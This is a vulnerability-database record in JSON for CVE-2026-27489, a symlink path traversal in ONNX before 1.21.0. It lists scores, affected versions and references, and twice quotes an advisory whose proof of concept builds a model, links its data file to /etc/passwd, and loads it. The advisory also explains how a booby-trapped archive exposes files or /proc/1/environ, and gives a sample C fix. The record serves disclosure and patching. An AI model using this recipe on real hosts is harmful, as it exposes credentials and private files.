{"id":"CVE-2026-27489","aliases":["DEBIAN-CVE-2026-27489","EUVD-2026-17969","GHSA-3r9x-f23j-gc73","PYSEC-2026-2239","UBUNTU-CVE-2026-27489"],"status":"published","title":"ONNX: Path Traversal via Symlink","description":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00616,"percentile":0.49791,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-23","CWE-61"],"published":"2026-03-31T22:34:25Z","modified":"2026-11-04T03:30:50Z","fixes":[{"ecosystem":"PyPI","package":"onnx","fixed_in":["1.21.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.20.0"},{"fixed":"1.21.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.12.0-2","1.13.1-1","1.13.1-2","1.13.1-3","1.14.1-1","1.14.1-2","1.14.1-2.1","1.14.1-2.1~exp1","1.16.1-1","1.16.2-1","1.17.0-1","1.17.0-2","1.17.0-3","1.19.1-1~exp1","1.20.0-1","1.20.0-1~exp1","1.20.0-3","1.20.0-4","1.20.0-5","1.20.0-6","1.21.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.17.0-3","1.19.1-1~exp1","1.20.0-1","1.20.0-1~exp1","1.20.0-3","1.20.0-4","1.20.0-5","1.20.0-6","1.21.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.17.0-3","1.19.1-1~exp1","1.20.0-1","1.20.0-1~exp1","1.20.0-3","1.20.0-4","1.20.0-5","1.20.0-6","1.21.0-1"]},{"source":"osv","ecosystem":"PyPI","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.21.0"}]}],"versions":["0.1","0.2","0.2.1","1.0.0","1.0.1","1.1.0","1.1.1","1.1.2","1.10.0","1.10.1","1.10.2","1.11.0","1.12.0","1.13.0","1.13.1","1.14.0","1.14.1","1.15.0","1.16.0","1.16.1","1.16.2","1.17.0","1.18.0","1.19.0","1.19.1","1.19.1rc1","1.2.1","1.2.2","1.2.3","1.20.0","1.20.0rc1","1.20.0rc2","1.20.1","1.20.1rc1","1.21.0rc1","1.21.0rc2","1.21.0rc3","1.21.0rc4","1.3.0","1.4.0","1.4.1","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.9.0"]},{"source":"osv","ecosystem":"PyPI","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.21.0"}]}],"versions":["0.1","0.2","0.2.1","1.0.0","1.0.1","1.1.0","1.1.1","1.1.2","1.10.0","1.10.1","1.10.2","1.11.0","1.12.0","1.13.0","1.13.1","1.14.0","1.14.1","1.15.0","1.16.0","1.16.1","1.16.2","1.17.0","1.18.0","1.19.0","1.19.1","1.19.1rc1","1.2.1","1.2.2","1.2.3","1.20.0","1.20.0rc1","1.20.0rc2","1.20.1","1.20.1rc1","1.21.0rc1","1.21.0rc2","1.21.0rc3","1.21.0rc4","1.3.0","1.4.0","1.4.1","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.9.0"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.7.0+dfsg-3build1","1.7.0+dfsg-3build2","1.7.0+dfsg-3ubuntu1","1.7.0+dfsg-3ubuntu2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.13.1-3","1.13.1-3build1","1.14.1-2","1.14.1-2.1","1.14.1-2.1build1","1.14.1-2.1build2","1.14.1-2.1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.17.0-3build1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.20.0-1","1.20.0-6"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.17.0-3build1","1.20.0-1"]}],"products":[{"vendor":"linuxfoundation","product":"onnx"},{"vendor":"onnx","product":"onnx"},{"vendor":"red hat","product":"red hat openshift ai (rhoai)"},{"vendor":"red hat","product":"red hat openshift ai 2.25"}],"references":[{"url":"https://github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Patch","Vendor Advisory","advisory","web","fix"]},{"url":"https://github.com/onnx/onnx/commit/4755f8053928dce18a61db8fec71b69c74f786cb","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-27489","tags":["vdb-entry","x_refsource_REDHAT","advisory","web"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2453929","tags":["issue-tracking","x_refsource_REDHAT","report","web"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27489.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:24977","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27489","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/onnx/PYSEC-2026-2239.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-3r9x-f23j-gc73"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27489.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-27489","tags":["advisory"]},{"url":"https://github.com/onnx/onnx","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-27489","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-27489","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-27489","title":"ONNX: Path Traversal via Symlink","description":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.","status":"published","published":"2026-04-01T17:33:51.281Z","modified":"2026-07-15T01:14:13.726Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"adp"}],"cwes":["CWE-23","CWE-61","CWE-22"],"updated_at":"2026-11-02T14:19:48.826324Z"}],"euvd":[{"id":"EUVD-2026-17969","description":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.","status":"published","published":"2026-04-01T17:33:51Z","modified":"2026-07-15T01:14:13Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:19:55.842782Z"}],"ghsa":[{"id":"GHSA-3r9x-f23j-gc73","title":"onnx Vulnerable to Path Traversal via Symlink","description":"### Summary\nA path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. \n\n### Details\nThe following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system:\nhttps://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033\n\n`std::filesystem::is_regular_file` performs a `status(p)` call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file. \n\n\n### PoC\n\n\n\n```python\n# Create a demo model with external data\nimport os\nimport numpy as np\nimport onnx\nfrom onnx import helper, TensorProto, numpy_helper\n\ndef create_onnx_model(output_path=\"model.onnx\"):\n    weight_matrix = np.random.randn(1000, 1000).astype(np.float32)\n\n    X = helper.make_tensor_value_info(\"X\", TensorProto.FLOAT, [1, 1000])\n    Y = helper.make_tensor_value_info(\"Y\", TensorProto.FLOAT, [1, 1000])\n    W = numpy_helper.from_array(weight_matrix, name=\"W\")\n\n    matmul_node = helper.make_node(\"MatMul\", inputs=[\"X\", \"W\"], outputs=[\"Y\"], name=\"matmul\")\n\n    graph = helper.make_graph(\n        nodes=[matmul_node],\n        name=\"SimpleModel\",\n        inputs=[X],\n        outputs=[Y],\n        initializer=[W]\n    )\n\n    model = helper.make_model(graph, opset_imports=[helper.make_opsetid(\"\", 11)])\n    onnx.checker.check_model(model)\n\n    data_file = output_path.replace('.onnx', '.data')\n\n    if os.path.exists(output_path):\n        os.remove(output_path)\n    if os.path.exists(data_file):\n        os.remove(data_file)\n\n    onnx.save_model(\n        model,\n        output_path,\n        save_as_external_data=True,\n        all_tensors_to_one_file=True,\n        location=os.path.basename(data_file),\n        size_threshold=1024 * 1024\n    )\n\nif __name__ == \"__main__\":\n    create_onnx_model(\"model.onnx\")\n```\n\n1. Run the above code to generate a sample model with external data.\n2. Remove `model.data`\n3. Run `ln -s /etc/passwd model.data`\n4. Load the model using the following code\n5. Observe check for symlink is bypassed and model is succesfuly loaded\n\n```python\nimport onnx\nfrom onnx.external_data_helper import load_external_data_for_model\n\ndef load_onnx_model_basic(model_path=\"model.onnx\"):\n    model = onnx.load(model_path)\n    return model\n\ndef load_onnx_model_explicit(model_path=\"model.onnx\"):\n    model = onnx.load(model_path, load_external_data=False)\n    load_external_data_for_model(model, \".\")\n    return model\n\nif __name__ == \"__main__\":\n    model = load_onnx_model_basic(\"model.onnx\")\n\n```\n\nA common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing `poc.onnx` and `poc.data (symlink)`. Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.\n\n\n### Impact\n\nRead sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.\n\nNOTE: this issue is not limited to UNIX.\n\n### Sample patch\n\n```c\n#include \u003cfcntl.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\nint open_external_file_no_symlink(const char *base_dir,\n                                  const char *relative_path) {\n    int dirfd = -1;\n    int fd = -1;\n    struct stat st;\n\n    // Open base directory\n    dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);\n    if (dirfd \u003c 0) {\n        return -1;\n    }\n\n    // Open the target relative to base_dir\n    // O_NOFOLLOW =\u003e fail if final path component is a symlink\n    fd = openat(dirfd,\n                relative_path,\n                O_RDONLY | O_NOFOLLOW);\n    close(dirfd);\n\n    if (fd \u003c 0) {\n        // ELOOP is the typical error if a symlink is encountered\n        return -1;\n    }\n\n    // Inspect the *opened file*\n    if (fstat(fd, \u0026st) != 0) {\n        close(fd);\n        return -1;\n    }\n\n    // Enforce \"regular file only\"\n    if (!S_ISREG(st.st_mode)) {\n        close(fd);\n        errno = EINVAL;\n        return -1;\n    }\n\n    // fd is now:\n    // - not a symlink\n    // - not a directory\n    // - not a device / FIFO / socket\n    // - race-safe\n    return fd;\n}\n```\n\n### Resources\n\n* https://cwe.mitre.org/data/definitions/61.html\n* https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172\n* https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368","status":"published","published":"2026-03-31T22:34:25Z","modified":"2026-11-04T03:15:28Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22","CWE-23","CWE-61"],"updated_at":"2026-11-04T03:22:00.099882Z"}],"nvd":[{"id":"CVE-2026-27489","description":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.","status":"published","published":"2026-04-01T18:16:28.287Z","modified":"2026-07-15T02:19:07.997Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary"},{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-23","CWE-61","CWE-22"],"updated_at":"2026-11-02T14:12:12.73929Z"}],"osv":[{"id":"CVE-2026-27489","title":"ONNX: Path Traversal via Symlink","description":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.","status":"published","published":"2026-04-01T17:33:51.281Z","modified":"2026-10-28T10:51:26.459632063Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-23","CWE-61"],"updated_at":"2026-11-02T15:45:00.180685Z"},{"id":"DEBIAN-CVE-2026-27489","description":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.","status":"published","published":"2026-04-01T18:16:28.287Z","modified":"2026-10-01T03:03:09.028430705Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:45:53.877573Z"},{"id":"GHSA-3r9x-f23j-gc73","title":"onnx Vulnerable to Path Traversal via Symlink","description":"### Summary\nA path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. \n\n### Details\nThe following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system:\nhttps://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033\n\n`std::filesystem::is_regular_file` performs a `status(p)` call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file. \n\n\n### PoC\n\n\n\n```python\n# Create a demo model with external data\nimport os\nimport numpy as np\nimport onnx\nfrom onnx import helper, TensorProto, numpy_helper\n\ndef create_onnx_model(output_path=\"model.onnx\"):\n    weight_matrix = np.random.randn(1000, 1000).astype(np.float32)\n\n    X = helper.make_tensor_value_info(\"X\", TensorProto.FLOAT, [1, 1000])\n    Y = helper.make_tensor_value_info(\"Y\", TensorProto.FLOAT, [1, 1000])\n    W = numpy_helper.from_array(weight_matrix, name=\"W\")\n\n    matmul_node = helper.make_node(\"MatMul\", inputs=[\"X\", \"W\"], outputs=[\"Y\"], name=\"matmul\")\n\n    graph = helper.make_graph(\n        nodes=[matmul_node],\n        name=\"SimpleModel\",\n        inputs=[X],\n        outputs=[Y],\n        initializer=[W]\n    )\n\n    model = helper.make_model(graph, opset_imports=[helper.make_opsetid(\"\", 11)])\n    onnx.checker.check_model(model)\n\n    data_file = output_path.replace('.onnx', '.data')\n\n    if os.path.exists(output_path):\n        os.remove(output_path)\n    if os.path.exists(data_file):\n        os.remove(data_file)\n\n    onnx.save_model(\n        model,\n        output_path,\n        save_as_external_data=True,\n        all_tensors_to_one_file=True,\n        location=os.path.basename(data_file),\n        size_threshold=1024 * 1024\n    )\n\nif __name__ == \"__main__\":\n    create_onnx_model(\"model.onnx\")\n```\n\n1. Run the above code to generate a sample model with external data.\n2. Remove `model.data`\n3. Run `ln -s /etc/passwd model.data`\n4. Load the model using the following code\n5. Observe check for symlink is bypassed and model is succesfuly loaded\n\n```python\nimport onnx\nfrom onnx.external_data_helper import load_external_data_for_model\n\ndef load_onnx_model_basic(model_path=\"model.onnx\"):\n    model = onnx.load(model_path)\n    return model\n\ndef load_onnx_model_explicit(model_path=\"model.onnx\"):\n    model = onnx.load(model_path, load_external_data=False)\n    load_external_data_for_model(model, \".\")\n    return model\n\nif __name__ == \"__main__\":\n    model = load_onnx_model_basic(\"model.onnx\")\n\n```\n\nA common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing `poc.onnx` and `poc.data (symlink)`. Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.\n\n\n### Impact\n\nRead sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.\n\nNOTE: this issue is not limited to UNIX.\n\n### Sample patch\n\n```c\n#include \u003cfcntl.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\nint open_external_file_no_symlink(const char *base_dir,\n                                  const char *relative_path) {\n    int dirfd = -1;\n    int fd = -1;\n    struct stat st;\n\n    // Open base directory\n    dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);\n    if (dirfd \u003c 0) {\n        return -1;\n    }\n\n    // Open the target relative to base_dir\n    // O_NOFOLLOW =\u003e fail if final path component is a symlink\n    fd = openat(dirfd,\n                relative_path,\n                O_RDONLY | O_NOFOLLOW);\n    close(dirfd);\n\n    if (fd \u003c 0) {\n        // ELOOP is the typical error if a symlink is encountered\n        return -1;\n    }\n\n    // Inspect the *opened file*\n    if (fstat(fd, \u0026st) != 0) {\n        close(fd);\n        return -1;\n    }\n\n    // Enforce \"regular file only\"\n    if (!S_ISREG(st.st_mode)) {\n        close(fd);\n        errno = EINVAL;\n        return -1;\n    }\n\n    // fd is now:\n    // - not a symlink\n    // - not a directory\n    // - not a device / FIFO / socket\n    // - race-safe\n    return fd;\n}\n```\n\n### Resources\n\n* https://cwe.mitre.org/data/definitions/61.html\n* https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172\n* https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368","status":"published","published":"2026-03-31T22:34:25Z","modified":"2026-11-04T03:30:50.269971417Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22","CWE-23","CWE-61"],"updated_at":"2026-11-04T03:56:18.279609Z"},{"id":"PYSEC-2026-2239","description":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.","status":"published","published":"2026-04-01T18:16:28.287Z","modified":"2026-07-13T07:15:50.564001432Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:55.537808Z"},{"id":"UBUNTU-CVE-2026-27489","description":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.","status":"published","published":"2026-04-01T18:16:00Z","modified":"2026-10-17T12:58:48.518946498Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T16:56:08.726452Z"}]}}